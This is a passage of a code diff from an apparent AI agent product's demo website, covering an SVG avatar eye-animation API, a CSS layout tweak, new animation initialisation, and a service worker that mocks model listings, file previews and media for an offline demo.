lookAt(dx,dy) 直接给 viewBox 偏移lookAtPoint(cx,cy) 看向屏幕某点
morphEyesTo(nums,ms) 眼睛形状渐变困眼/瞪眼setEyePath 瞬切 */
function handle(svg) {
var inst = svg && svg._aaInst;
if (!inst) return null;
var h = {
lookAt: function (dx, dy) {
var m = Math.hypot(dx, dy);
if (m > TRACK_MAX) { dx = (dx / m) * TRACK_MAX; dy = (dy / m) * TRACK_MAX; }
inst.manual = { x: dx, y: dy };
},
lookAtPoint: function (clientX, clientY) {
var rect = inst.svg.getBoundingClientRect();
if (rect.width === 0) return;
var cx = rect.left + rect.width / 2;
var cy = rect.top + rect.height / 2;
var dx = (clientX - cx) / (rect.width / 200);
var dy = (clientY - cy) / (rect.height / 200);
var d = Math.hypot(dx, dy) || 1;
var s = Math.min(d / 60, 1); /* 60 个 viewBox 单位外达到最大注视 */
h.lookAt((dx / d) * TRACK_MAX * s, (dy / d) * TRACK_MAX * s);
},
releaseLook: function () { inst.manual = null; },
setEyePath: function (nums) {
inst.morphToken++;
inst.pathNums = nums.slice();
var d = eyePathD(nums);
inst.eyeL.setAttribute('d', d);
inst.eyeR.setAttribute('d', d);
},
morphEyesTo: function (nums, ms, done) {
var token = ++inst.morphToken;
var from = inst.pathNums.slice();
var start = null;
function stepFn(ts) {
if (token !== inst.morphToken) return; /* 被更新的 morph 接管,静默退出 */
if (!start) start = ts;
var t = Math.min((ts - start) / ms, 1);
var e = t < 0.5 ? 2 * t * t : 1 - Math.pow(-2 * t + 2, 2) / 2;
var cur = from.map(function (v, i) { return v + (nums[i] - v) * e; });
var d = eyePathD(cur);
inst.eyeL.setAttribute('d', d);
inst.eyeR.setAttribute('d', d);
if (t < 1) requestAnimationFrame(stepFn);
else { inst.pathNums = nums.slice(); if (done) done(); }
}
requestAnimationFrame(stepFn);
}
};
return h;
}
/* 由 IDLE 眼睛派生缩放版本(困=缩短,瞪=加长):只缩放 y 分量x 分量全为 0 */
function eyeScale(k) {
return EYE_IDLE.map(function (v, i) { return i % 2 ? v * k : v; });
}
window.AstrionAvatar = {
mount: mount,
handle: handle,
eyeScale: eyeScale,
EYE_IDLE: EYE_IDLE,
EYE_BLINK: EYE_BLINK
};
})();

View File

@ -284,10 +284,11 @@ code {
}
.feature-row:last-child { border-bottom: 1px solid var(--line); }
/* 带动画的行:左文右动画 */
/* 带动画的行左文右动画动画列给足 54003/04 舞台逻辑宽 舞台 curScale=1 不缩放
三个动画的智能体渲染尺寸一致 */
.feature-row--anim {
display: grid;
grid-template-columns: minmax(0, 1fr) minmax(0, 460px);
grid-template-columns: minmax(0, 1fr) minmax(0, 540px);
gap: clamp(32px, 6vw, 80px);
align-items: center;
}

View File

@ -273,4 +273,16 @@
if (window.AnimSandbox && document.getElementById('animSandbox')) {
AnimSandbox.init(document.getElementById('animSandbox'));
}
/* ═══════════ 8) 修改记录动画(功能 03 行) ═══════════ */
if (window.AnimRecords && document.getElementById('animRecords')) {
AnimRecords.init(document.getElementById('animRecords'));
}
/* ═══════════ 9) 版本控制动画(功能 04 行) ═══════════ */
if (window.AnimVersion && document.getElementById('animVersion')) {
AnimVersion.init(document.getElementById('animVersion'));
}
})();

View File

@ -8,16 +8,34 @@
*/
const DEMO_PAGE = '/demo.html';
const CACHE = 'astrion-demo-v4';
const CACHE = 'astrion-demo-v5';
/* ── 静态响应体 ── */
const MODELS = {
items: [
{
context_window: 256000, description: 'Kimi-K3', fast_only: false,
max_output_tokens: 32768, model_key: 'Kimi-K3', multimodal: 'image,video',
name: 'Kimi-K3', supports_reasoning_effort: false, supports_thinking: true,
context_window: 1048576, description: 'Kimi K3月之暗面最新旗舰模型', fast_only: false,
max_output_tokens: 64000, model_key: 'Kimi-K3', multimodal: 'image,video',
name: 'Kimi-K3', supports_reasoning_effort: true, supports_thinking: true,
thinking_only: false, visible: true
},
{
context_window: 1000000, description: 'DeepSeek V4 Flash快速高效的通用模型', fast_only: false,
max_output_tokens: 384000, model_key: 'DeepSeek-V4-Flash', multimodal: 'none',
name: 'DeepSeek-V4-Flash', supports_reasoning_effort: true, supports_thinking: true,
thinking_only: false, visible: true
},
{
context_window: 1000000, description: 'MiniMax M3MiniMax最新旗舰模型', fast_only: false,
max_output_tokens: 131072, model_key: 'MiniMax-M3', multimodal: 'none',
name: 'MiniMax-M3', supports_reasoning_effort: false, supports_thinking: true,
thinking_only: false, visible: true
},
{
context_window: 262144, description: 'GLM 5.2,智谱旗舰文本模型', fast_only: false,
max_output_tokens: 64072, model_key: 'GLM-5.2', multimodal: 'none',
name: 'GLM-5.2', supports_reasoning_effort: true, supports_thinking: true,
thinking_only: false, visible: true
}
]
@ -157,14 +175,37 @@ async function routeApi(url) {
if (p === '/api/todo-list') return json({ success: true, data: null });
if (p === '/api/background_commands') return json({ success: true, data: [] });
// 文件预览(快捷窗口点文件名):返回真实调研报告内容
// 文件预览/下载(对话内文件卡片、下载链接)
if (p === '/api/file/content') {
const name = (url.searchParams.get('path') || '').split('/').pop();
// 二进制/富文本资源放 mock/files/(按扩展名给 MIME
const ext = (name.split('.').pop() || '').toLowerCase();
const MIME = {
pdf: 'application/pdf',
docx: 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
html: 'text/html; charset=utf-8',
png: 'image/png',
jpg: 'image/jpeg',
};
if (MIME[ext]) {
const rb = await fetch(`/mock/files/${name}`);
if (rb.ok) return new Response(await rb.arrayBuffer(), { headers: { 'Content-Type': MIME[ext] } });
}
// 文本资源mock/file-*
const r = await fetch(`/mock/file-${name}`);
if (r.ok) return new Response(await r.text(), { headers: { 'Content-Type': 'text/plain; charset=utf-8' } });
return new Response('演示环境没有该文件', { status: 404 });
}
// 消息内嵌媒体view_image 截图等mock/media/{sha}.png
const mediaMatch = p.match(/^\/api\/conversations\/media\/(.+)$/);
if (mediaMatch) {
const id = decodeURIComponent(mediaMatch[1]).replace(/^sha256:/, '');
const r = await fetch(`/mock/media/${id}.png`);
if (r.ok) return new Response(await r.arrayBuffer(), { headers: { 'Content-Type': 'image/png' } });
return new Response('演示环境没有该媒体', { status: 404 });
}
// 对话 bootstrap
const bootMatch = p.match(/^\/api\/conversations\/(conv_[\w-]+)\/bootstrap$/);
if (bootMatch) {